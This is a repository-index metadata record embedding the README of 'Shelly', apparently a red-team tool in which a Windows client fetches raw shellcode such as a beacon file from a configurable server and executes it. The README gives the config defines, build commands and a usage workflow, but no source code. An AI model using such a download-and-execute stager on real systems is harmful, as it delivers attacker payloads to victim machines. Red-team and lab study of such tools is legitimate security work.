{"id":28567058,"url":"https://github.com/sayan690/shelly","last_synced_at":"2025-06-10T15:41:03.625Z","repository":{"id":296454303,"uuid":"993177502","full_name":"Sayan690/Shelly","owner":"Sayan690","description":"Shelly - Serve Shellcode over the wire.","archived":false,"fork":false,"pushed_at":"2025-05-30T20:24:34.000Z","size":591,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"master","last_synced_at":"2025-05-31T06:00:44.987Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Sayan690.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-30T10:50:05.000Z","updated_at":"2025-05-30T20:24:59.000Z","dependencies_parsed_at":"2025-05-31T06:03:24.208Z","dependency_job_id":"f9ea93b8-259b-4628-afad-4215b53d4dea","html_url":"https://github.com/Sayan690/Shelly","commit_stats":null,"previous_names":["sayan690/shelly"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FShelly","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FShelly/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FShelly/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FShelly/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Sayan690","download_url":"https://codeload.github.com/Sayan690/Shelly/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FShelly/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259104361,"owners_count":22805862,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-06-10T15:40:31.980Z","updated_at":"2025-06-10T15:41:03.603Z","avatar_url":"https://github.com/Sayan690.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n# 🐚 SHELLY - Serve Shellcode Over the Wire\n\n[![Version](https://shields.io/badge/version-0.3.0--beta-orange)]()\n[![Build Status](https://shields.io/badge/build-release-green)]()\n[![License](https://shields.io/badge/license-MIT-blue)]()\n[![Status](https://shields.io/badge/status-beta-yellow)]()\n\n**SHELLY** is a minimal client-server utility to remotely fetch and serve raw shellcode files over the network.\n\n- `shelly-server`: Listens for incoming client requests and sends raw shellcode files on demand.\n- `shelly.exe`: A Windows-compatible client (built with MinGW-w64) that requests a specified shellcode file from the server.\n\n---\n\n## 🛠️ Tech Stack\n\n![C++](https://img.shields.io/badge/C%2B%2B-00599C?style=for-the-badge\u0026logo=c%2B%2B\u0026logoColor=white) ![MinGW-w64](https://img.shields.io/badge/MinGW--w64-000000?style=for-the-badge\u0026logo=gnubash\u0026logoColor=white) ![Python](https://img.shields.io/badge/Python-3776AB?style=for-the-badge\u0026logo=python\u0026logoColor=white) ![Make](https://img.shields.io/badge/Make-064F8C?style=for-the-badge\u0026logo=gnu\u0026logoColor=white) ![WinINet](https://img.shields.io/badge/WinINet-0078D7?style=for-the-badge\u0026logo=windows\u0026logoColor=white) ![Shell](https://img.shields.io/badge/Shell-121011?style=for-the-badge\u0026logo=gnu-bash\u0026logoColor=white)\n\n\n## 📦 Project Structure\n\n```\nSHELLY/\n├── src/\n│   └── shelly.cpp         # Client source (edit before build)\n│   └── shelly-server.py   # Server source\n├── shelly-server          # Shellcode server (built locally)\n├── bin/\n│   └── shelly.exe         # Windows client binary (built with MinGW-w64)\n├── Makefile\n└── README.md\n```\n\n---\n\n## ⚙️ Requirements\n\n- **Linux** system with:\n  - `make`\n  - `x86_64-w64-mingw32-g++` (MinGW-w64 for cross-compilation)\n\n---\n\n## 🔧 Setup \u0026 Usage\n\n### 1. Edit Client Configuration\n\nBefore building `shelly.exe`, you must **edit the following** in `src/shelly.cpp`:\n\n- `SERVER_IP`: The IP address of the host running `shelly-server`\n- `REMOTE_FILE`: The name of the shellcode file to request from the server\n\n```cpp\n// Example inside src/shelly.cpp\n#define SERVER_IP \"192.168.1.10\"\n#define REMOTE_FILE \"payload.bin\"\n```\n\n---\n\n### 2. Build the Project\n\n```bash\nmake         # General Instructions before using 'make build'\nmake build   # Cross-compiles src/shelly.cpp into bin/shelly.exe and creates a bash script for calling 'src/shelly-server.py'\n```\n\nThe resulting Windows binary will be located at `bin/shelly.exe`.\n\n---\n\n### 3. Start the Server\n\nStart the server on the machine that holds your shellcode files:\n\n```bash\n./shelly-server\n```\n\n- The server looks for requested files in its **current working directory**.\n- Example: if `REMOTE_FILE` is `\"payload.bin\"`, place `payload.bin` in the same directory as `shelly-server`.\n\n---\n\n### 4. Run the Client (on Windows)\n\nOn the Windows target, run:\n\n```cmd\nshelly.exe\n```\n\nThis will:\n\n- Connect to `SERVER_IP`\n- Request `REMOTE_FILE`\n- Receive and execute the raw shellcode.\n\n---\n\n## ❗ Important Notes\n\n- Intended for **controlled environments** (e.g., red team labs or internal C2-like testing).\n- Always verify legality and authorization before use in real-world networks.\n\n---\n\n## ✅ Example Workflow\n\n1. Place `beacon.bin` in the same folder as `shelly-server`\n2. Set `REMOTE_FILE` to `\"beacon.bin\"` in `src/shelly.cpp`\n3. Set `SERVER_IP` to your Linux host's IP\n4. Build with `make \u0026\u0026 make build`\n5. Start the server\n6. Run `bin/shelly.exe` on the client\n\n---\n\n## 🛠️ Troubleshooting\n\n- If you see linker errors like `__gxx_personality_sj0` or `_Unwind_SjLj_*`, ensure you’re compiling with `x86_64-w64-mingw32-g++`, not `gcc`.\n\n---\n\n## 📜 License\n\nMIT or similar open-source license. Use responsibly.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsayan690%2Fshelly","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsayan690%2Fshelly","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsayan690%2Fshelly/lists"}